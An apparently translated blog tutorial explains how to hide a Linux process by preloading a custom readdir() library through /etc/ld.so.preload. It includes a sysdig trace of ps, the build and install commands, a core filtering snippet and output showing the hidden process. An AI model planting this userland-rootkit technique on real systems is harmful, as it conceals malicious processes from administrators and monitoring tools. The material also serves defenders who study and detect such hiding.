Linux process hiding

 

I. Description

The driver under windows can achieve the purpose of hiding the process through Hook ZwQuerySystemInformation(), so how to implement this function on linux.

 

2. Principle

There are a large number of process monitoring commands under Linux, ps, top, htop, lsof can all display resource usage.

sudo sysdig proc.name=ps
1489 14:39:30.258670474 1 ps (25339) > openat dirfd=-100(ENETDOWN) name=/proc flags=7233(O_LARGEFILE|O_DIRECTORY|O_NONBLOCK|O_RDONLY|O_CLOEXEC) mode=0
1495 14:39:30.258687385 1 ps (25339) > getdents fd=5(<d>/proc)
1496 14:39:30.258777031 1 ps (25339) < getdents res=2660
3709 14:39:30.264220995 1 ps (25339) > open
3710 14:39:30.264223824 1 ps (25339) < open fd=6(<f>/proc/25329/stat) name=/proc/25329/stat flags=1(O_RDONLY) mode=0
3711 14:39:30.264224584 1 ps (25339) > read fd=6(<f>/proc/25329/stat) size=1024
3712 14:39:30.264230817 1 ps (25339) < read res=272 data=25329 (evil) R 25183 25329 25183 34818 25329 4218880 152 0 0 0 9701 0 0 0 20 0 1
3713 14:39:30.264231540 1 ps (25339) > close fd=6(<f>/proc/25329/stat)
3714 14:39:30.264231906 1 ps (25339) < close res=0
3715 14:39:30.264239242 1 ps (25339) > open
3716 14:39:30.264241697 1 ps (25339) < open fd=6(<f>/proc/25329/status) name=/proc/25329/status flags=1(O_RDONLY) mode=0
3717 14:39:30.264242604 1 ps (25339) > read fd=6(<f>/proc/25329/status) size=1024
3718 14:39:30.264257260 1 ps (25339) < read res=820 data=Name:.evil.State:.R (running).Tgid:.25329.Ngid:.0.Pid:.25329.PPid:.25183.TracerP
3719 14:39:30.264257904 1 ps (25339) > close fd=6(<f>/proc/25329/status)
3720 14:39:30.264258210 1 ps (25339) < close res=0
3721 14:39:30.264263180 1 ps (25339) > open
3722 14:39:30.264265864 1 ps (25339) < open fd=6(<f>/proc/25329/cmdline) name=/proc/25329/cmdline flags=1(O_RDONLY) mode=0

  

Monitor the ps command through sysdig and find that the ps command obtains process information by calling openat() to open the /proc directory, getdents() to obtain files, and then traverse all /proc/pid/stat, status, and cmdline files.

 

3. Realization

Through the analysis of the above ps, it is found that it is only necessary to avoid tools to access the /proc/PID/ directory.

a. Modify the source code of top and ps tools

b. Modify the glibc source code, readdir() 

c. Modify the kernel call, getdents()

d. /etc/ld.so.preload

 

The three methods of abc are more complicated. You can simply configure the ld.so.preload file to make the dynamic linker load the custom library first, and change the program behavior without modifying the glibc source code.

Customization only needs to override the readdir() implementation and filter the specified process directory.

 

gcc -Wall -fPIC -shared -o libprocesshider.so processhider.c -ldl
sudo mv libprocesshider.so /usr/local/lib/
sudo echo /usr/local/lib/libprocesshider.so >> /etc/ld.so.preload

  

Core code:

/**
 * When traversing to the /proc/evil directory, skip it and do not process it
 */
if(get_dir_name(dirp, dir_name, sizeof(dir_name)) &&        
strcmp(dir_name, "/proc") == 0 &&                       
get_process_name(dir->d_name, process_name) &&          
strcmp(process_name, process_to_filter) == 0) {         
    continue;                                               
}  

     

 

running result:

ubuntu@caiji-test-chenxuerong:~/sunl$ ./evil
 
ubuntu@caiji-test-chenxuerong:~/sunl$ ps -ef|grep evil
ubuntu   25740 25183  0 17:40 pts/2    00:00:00 grep --color=auto evil

 

  

References:

https://sysdig.com/blog/hiding-linux-processes-for-fun-and-profit/

http://fluxius.handgrep.se/2011/10/31/the-magic-of-ld_preload-for-userland-rootkits/

 

 

 

Guess you like

Origin http://43.154.161.224:23101/article/api/json?id=326392864&siteId=291194637